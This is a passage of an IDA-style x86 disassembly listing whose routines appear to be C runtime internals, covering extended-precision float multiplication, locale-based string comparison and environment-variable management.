		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_4220A1
		cmp	cx, 7FFFh
		jnb	loc_4220A1
		cmp	dx, 0BFFDh
		ja	loc_4220A1
		cmp	dx, 3FBFh
		ja	short loc_421F0A
		xor	eax, eax
		jmp	short loc_421F44
; ---------------------------------------------------------------------------


loc_421F0A:				; CODE XREF: sub_421EA1+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_421F2C
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_421F2C
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_421F2E
		cmp	[esi], eax
		jnz	short loc_421F2E
		jmp	loc_42209B
; ---------------------------------------------------------------------------


loc_421F2C:				; CODE XREF: sub_421EA1+71j
					; sub_421EA1+79j
		xor	eax, eax


loc_421F2E:				; CODE XREF: sub_421EA1+80j
					; sub_421EA1+84j
		cmp	cx, ax
		jnz	short loc_421F51
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_421F51
		cmp	[ebx+4], eax
		jnz	short loc_421F51
		cmp	[ebx], eax
		jnz	short loc_421F51


loc_421F44:				; CODE XREF: sub_421EA1+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_4220BC
; ---------------------------------------------------------------------------


loc_421F51:				; CODE XREF: sub_421EA1+90j
					; sub_421EA1+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_421F61:				; CODE XREF: sub_421EA1+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_421FB5
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_421F7D:				; CODE XREF: sub_421EA1+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421FA8
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_421FA8:				; CODE XREF: sub_421EA1+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_421F7D


loc_421FB5:				; CODE XREF: sub_421EA1+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_421F61
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_421FF8


loc_421FD3:				; CODE XREF: sub_421EA1+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_421FF1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213B6
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_421FD3


loc_421FF1:				; CODE XREF: sub_421EA1+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_422031


loc_421FF8:				; CODE XREF: sub_421EA1+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_422031
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_422011:				; CODE XREF: sub_421EA1+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_42201A
		inc	[ebp+var_14]


loc_42201A:				; CODE XREF: sub_421EA1+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213E4
		dec	ebx
		pop	ecx
		jnz	short loc_422011
		cmp	[ebp+var_14], 0
		jz	short loc_422031
		or	byte ptr [ebp+var_24], 1


loc_422031:				; CODE XREF: sub_421EA1+155j
					; sub_421EA1+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_422048
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_42207D


loc_422048:				; CODE XREF: sub_421EA1+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_42207A
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_422075
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_42206F
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_42207D
; ---------------------------------------------------------------------------


loc_42206F:				; CODE XREF: sub_421EA1+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------


loc_422075:				; CODE XREF: sub_421EA1+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------


loc_42207A:				; CODE XREF: sub_421EA1+1ABj
		inc	[ebp+var_24+2]


loc_42207D:				; CODE XREF: sub_421EA1+1A5j
					; sub_421EA1+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_4220A1
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_42209B:				; CODE XREF: sub_421EA1+86j
		mov	[esi+0Ah], ax
		jmp	short loc_4220BC
; ---------------------------------------------------------------------------


loc_4220A1:				; CODE XREF: sub_421EA1+42j
					; sub_421EA1+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_4220BC:				; CODE XREF: sub_421EA1+ABj
					; sub_421EA1+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421EA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220C1	proc near		; CODE XREF: sub_4214D8+440p
					; sub_4219A9+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_436760
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		jge	short loc_4220E9
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_4368C0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_4220E9:				; CODE XREF: sub_4220C1+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4220F4
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_4220F4:				; CODE XREF: sub_4220C1+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		push	esi
		push	edi


loc_4220FB:				; CODE XREF: sub_4220C1+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_422133
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_422126
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_422126:				; CODE XREF: sub_4220C1+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_421EA1
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_422133:				; CODE XREF: sub_4220C1+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_4220FB
		pop	edi
		pop	esi


loc_42213A:				; CODE XREF: sub_4220C1+14j
					; sub_4220C1+36j
		pop	ebx
		leave
		retn
sub_4220C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42213D	proc near		; CODE XREF: sub_421DAE+5Ep
					; sub_422619+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_42214A
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42214A:				; CODE XREF: sub_42213D+7j
		push	dword_4CEDE4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4CF004
		call	sub_4221EA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422177
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422177:				; CODE XREF: sub_42213D+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_42213D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42217C	proc near		; CODE XREF: sub_421DAE+1Ep
					; sub_422492+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4CD9E4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_4221DD
		mov	ebx, dword_424150


loc_422195:				; CODE XREF: sub_42217C+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_4221E5
		push	ebp
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_4221E5
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_4221E5
		push	edi
		push	[esp+18h+var_4]
		call	sub_422492
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_422195


loc_4221DD:				; CODE XREF: sub_42217C+11j
		xor	eax, eax


loc_4221DF:				; CODE XREF: sub_42217C+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4221E5:				; CODE XREF: sub_42217C+29j
					; sub_42217C+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_4221DF
sub_42217C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221EA	proc near		; CODE XREF: sub_42213D+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424C88
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4CDCA0, ebx
		push	1
		pop	edi
		jnz	short loc_42225D
		push	edi
		mov	eax, offset dword_4248D8
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25E0000h
		test	eax, eax
		jz	short loc_42223A
		mov	dword_4CDCA0, edi
		jmp	short loc_42225D
; ---------------------------------------------------------------------------


loc_42223A:				; CODE XREF: sub_4221EA+46j
		push	edi
		mov	eax, offset dword_436EF4
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25E05BAh
		test	eax, eax
		jz	loc_422453
		mov	dword_4CDCA0, 2


loc_42225D:				; CODE XREF: sub_4221EA+31j
					; sub_4221EA+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_422274
		push	esi
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_422274:				; CODE XREF: sub_4221EA+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_422289
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_422289:				; CODE XREF: sub_4221EA+8Dj
		mov	eax, dword_4CDCA0
		cmp	eax, 2
		jnz	short loc_4222AE
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25E05BAh
		jmp	loc_422455
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_4221EA+A7j
		cmp	eax, edi
		jnz	loc_422453
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4222C3
		mov	eax, dword_4CDA58
		mov	[ebp+arg_18], eax


loc_4222C3:				; CODE XREF: sub_4221EA+CFj
		cmp	esi, ebx
		jz	short loc_4222D0
		cmp	[ebp+arg_14], ebx
		jnz	loc_422368


loc_4222D0:				; CODE XREF: sub_4221EA+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_4222DD


loc_4222D5:				; CODE XREF: sub_4221EA+13Cj
					; sub_4221EA+16Dj
		push	2


loc_4222D7:				; CODE XREF: sub_4221EA+146j
		pop	eax
		jmp	loc_422455
; ---------------------------------------------------------------------------


loc_4222DD:				; CODE XREF: sub_4221EA+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_4222E9


loc_4222E2:				; CODE XREF: sub_4221EA+151j
					; sub_4221EA+159j ...
		mov	eax, edi
		jmp	loc_422455
; ---------------------------------------------------------------------------


loc_4222E9:				; CODE XREF: sub_4221EA+F6j
		cmp	esi, edi
		jg	short loc_42232E
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 28A138Dh
		nop
		test	eax, eax
		jz	loc_422453
		cmp	esi, ebx
		jle	short loc_422332
		cmp	[ebp+var_3C], 2
		jb	short loc_42232E
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42232E


loc_422314:				; CODE XREF: sub_4221EA+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42232E
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_422328
		cmp	cl, dl
		jbe	short loc_4222D5


loc_422328:				; CODE XREF: sub_4221EA+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422314


loc_42232E:				; CODE XREF: sub_4221EA+101j
					; sub_4221EA+120j ...
		push	3
		jmp	short loc_4222D7
; ---------------------------------------------------------------------------


loc_422332:				; CODE XREF: sub_4221EA+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_422368
		cmp	[ebp+var_3C], 2
		jb	short loc_4222E2
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_4222E2


loc_422345:				; CODE XREF: sub_4221EA+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_4222E2
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_42235D
		cmp	cl, dl
		jbe	loc_4222D5


loc_42235D:				; CODE XREF: sub_4221EA+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422345
		jmp	loc_4222E2
; ---------------------------------------------------------------------------


loc_422368:				; CODE XREF: sub_4221EA+E0j
					; sub_4221EA+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2650000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_422453
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4223B7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4223B7:				; CODE XREF: sub_4221EA+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_422453
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_424070
		call	esi
		test	eax, eax
		jz	short loc_422453
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_422453
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422422
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_422422:				; CODE XREF: sub_4221EA+224j
		cmp	edi, ebx
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25E0000h
		jmp	short loc_422455
; ---------------------------------------------------------------------------


loc_422453:				; CODE XREF: sub_4221EA+63j
					; sub_4221EA+C6j ...
		xor	eax, eax


loc_422455:				; CODE XREF: sub_4221EA+BFj
					; sub_4221EA+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4221EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_422467	proc near		; CODE XREF: sub_41E709+81p
					; sub_4221EA+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422484


loc_422477:				; CODE XREF: sub_422467+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_422484
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_422477


loc_422484:				; CODE XREF: sub_422467+Ej
					; sub_422467+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_42248F
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_42248F:				; CODE XREF: sub_422467+21j
		mov	eax, edx
		retn
sub_422467	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422492	proc near		; CODE XREF: sub_42217C+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_4224F6
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4226D8
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_4224F6
		cmp	[ebp+arg_0], esi
		jz	short loc_4224F6
		mov	eax, dword_4CD9DC
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4CD9E0
		jnz	short loc_4224DC
		push	eax
		call	sub_422671
		pop	ecx
		mov	dword_4CD9DC, eax


loc_4224DC:				; CODE XREF: sub_422492+3Cj
		cmp	eax, edi
		jnz	short loc_422534
		cmp	[ebp+arg_4], edi
		jz	short loc_4224FE
		cmp	dword_4CD9E4, edi
		jz	short loc_4224FE
		call	sub_42217C
		test	eax, eax
		jz	short loc_422534


loc_4224F6:				; CODE XREF: sub_422492+Dj
					; sub_422492+22j ...
		or	eax, 0FFFFFFFFh


loc_4224F9:				; CODE XREF: sub_422492+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4224FE:				; CODE XREF: sub_422492+51j
					; sub_422492+59j
		cmp	ebx, edi
		jnz	loc_422612
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_4CD9DC, eax
		jz	short loc_4224F6
		mov	[eax], edi
		cmp	dword_4CD9E4, edi
		jnz	short loc_422534
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_4CD9E4, eax
		jz	short loc_4224F6
		mov	[eax], edi


loc_422534:				; CODE XREF: sub_422492+4Cj
					; sub_422492+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4CD9DC
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_422619
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_422594
		cmp	dword ptr [edi], 0
		jz	short loc_422594
		test	ebx, ebx
		jz	short loc_42258C
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_417C3B
		pop	ecx


loc_422566:				; CODE XREF: sub_422492+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_422576
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_422566
; ---------------------------------------------------------------------------


loc_422576:				; CODE XREF: sub_422492+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4225C6
		jmp	short loc_4225C1
; ---------------------------------------------------------------------------


loc_42258C:				; CODE XREF: sub_422492+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4225C6
; ---------------------------------------------------------------------------


loc_422594:				; CODE XREF: sub_422492+BDj
					; sub_422492+C2j
		test	ebx, ebx
		jnz	short loc_422612
		test	esi, esi
		jge	short loc_42259E
		neg	esi


loc_42259E:				; CODE XREF: sub_422492+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4224F6
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4225C1:				; CODE XREF: sub_422492+F8j
		mov	dword_4CD9DC, eax


loc_4225C6:				; CODE XREF: sub_422492+F6j
					; sub_422492+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_422612
		push	[ebp+arg_0]
		call	sub_417AB0
		inc	eax
		inc	eax
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_422612
		push	[ebp+arg_0]
		push	esi
		call	sub_4179C0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25D0151h
		push	esi
		call	sub_417C3B
		pop	ecx


loc_422612:				; CODE XREF: sub_422492+6Ej
					; sub_422492+104j ...
		xor	eax, eax
		jmp	loc_4224F9
sub_422492	endp


; =============== S U B	R O U T	I N E =======================================



sub_422619	proc near		; CODE XREF: sub_422492+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4CD9DC
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_422654
		mov	edi, [esp+8+arg_4]


loc_42262B:				; CODE XREF: sub_422619+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42264A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_422664
		test	al, al
		jz	short loc_422664


loc_42264A:				; CODE XREF: sub_422619+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_42262B


loc_422654:				; CODE XREF: sub_422619+Cj
		mov	eax, esi
		sub	eax, dword_4CD9DC
		sar	eax, 2
		neg	eax


loc_422661:				; CODE XREF: sub_422619+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_422664:				; CODE XREF: sub_422619+2Bj
					; sub_422619+2Fj
		mov	eax, esi
		sub	eax, dword_4CD9DC
		sar	eax, 2
		jmp	short loc_422661
sub_422619	endp


; =============== S U B	R O U T	I N E =======================================



sub_422671	proc near		; CODE XREF: sub_422492+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_422680
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422680:				; CODE XREF: sub_422671+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_422692


loc_422688:				; CODE XREF: sub_422671+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_422688


loc_422692:				; CODE XREF: sub_422671+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4226B3
		push	9
		call	sub_419CDA
		pop	ecx


loc_4226B3:				; CODE XREF: sub_422671+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4226B7:				; CODE XREF: sub_422671+5Bj
		test	eax, eax
		jz	short loc_4226CE
		push	eax
		add	ebx, 4
		call	sub_42274B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4226B7
; ---------------------------------------------------------------------------


loc_4226CE:				; CODE XREF: sub_422671+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_422671	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226D8	proc near		; CODE XREF: sub_422492+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4CEDFC, 0
		jnz	short loc_4226F3
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418F50
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4226F3:				; CODE XREF: sub_4226D8+Aj
		mov	ecx, [ebp+arg_0]


loc_4226F6:				; CODE XREF: sub_4226D8+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_422739
		movzx	edx, al
		test	byte_4CEF01[edx], 4
		jz	short loc_422725
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_422730
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_422734
		jmp	short loc_42272D
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_4226D8+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_422739


loc_42272D:				; CODE XREF: sub_4226D8+4Bj
		inc	ecx
		jmp	short loc_4226F6
; ---------------------------------------------------------------------------


loc_422730:				; CODE XREF: sub_4226D8+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422734:				; CODE XREF: sub_4226D8+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422739:				; CODE XREF: sub_4226D8+25j
					; sub_4226D8+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4226D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42274B	proc near		; CODE XREF: sub_40A7D7+21p
					; sub_422671+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_422772
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_422772
		push	esi
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_422772:				; CODE XREF: sub_42274B+7j
					; sub_42274B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_42274B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422780	proc near		; CODE XREF: sub_422863+19p
					; sub_42298A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
